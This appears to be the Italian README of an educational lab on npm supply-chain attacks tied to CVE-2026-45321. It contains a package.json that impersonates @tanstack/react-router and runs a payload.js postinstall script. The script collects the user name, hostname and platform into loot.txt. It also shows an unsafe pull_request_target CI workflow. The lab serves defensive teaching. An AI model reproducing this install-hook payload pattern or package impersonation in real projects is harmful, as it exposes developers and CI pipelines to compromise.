
Laboratorio educativo che simula attacchi alla supply chain npm, abuso di CI/CD ed esecuzione di codice in fase di installazione tramite CVE-2026-45321. Formazione pratica sulla sicurezza difensiva con distribuzione locale di pacchetti dannosi.
Laboratorio didattico per comprendere gli attacchi alla supply chain npm, l'abuso di CI/CD e l'esecuzione di codice al momento dell'installazione
Questo progetto è stato creato esclusivamente per:
Non utilizzare questo progetto per:
Questo laboratorio simula i concetti fondamentali degli incidenti:
La simulazione viene eseguita localmente e in sicurezza, senza:
lab/
├── fake-repo/ # Simulazione del repository target
├── attacker-package/ # Simulazione del pacchetto malevolo
└── victim-project/ # Simulazione della vittima
Pacchetto dell'attaccante
↓
npm install
↓
esecuzione dello script postinstall
↓
payload.js viene eseguito automaticamente
↓
La vittima subisce l'esecuzione al momento dell'installazione
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
Risultato:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
Se ha successo, apparirà:
=== MALICIOUS PAYLOAD EXECUTED ===
e il file:
loot.txt
verrà creato automaticamente.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
Questo progetto può essere utilizzato anche per comprendere:
Esempio di workflow:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| Simulazione in Laboratorio | Mondo Reale |
|---|---|
| attacker-package | pacchetto TanStack compromesso |
| payload.js | installer malevolo |
Questo laboratorio è stato creato per aumentare la consapevolezza riguardo a:
| postinstall | abuso dell'hook del ciclo di vita |
| victim-project | sviluppatore/CI vittima |
| fake-repo | pipeline GitHub Actions |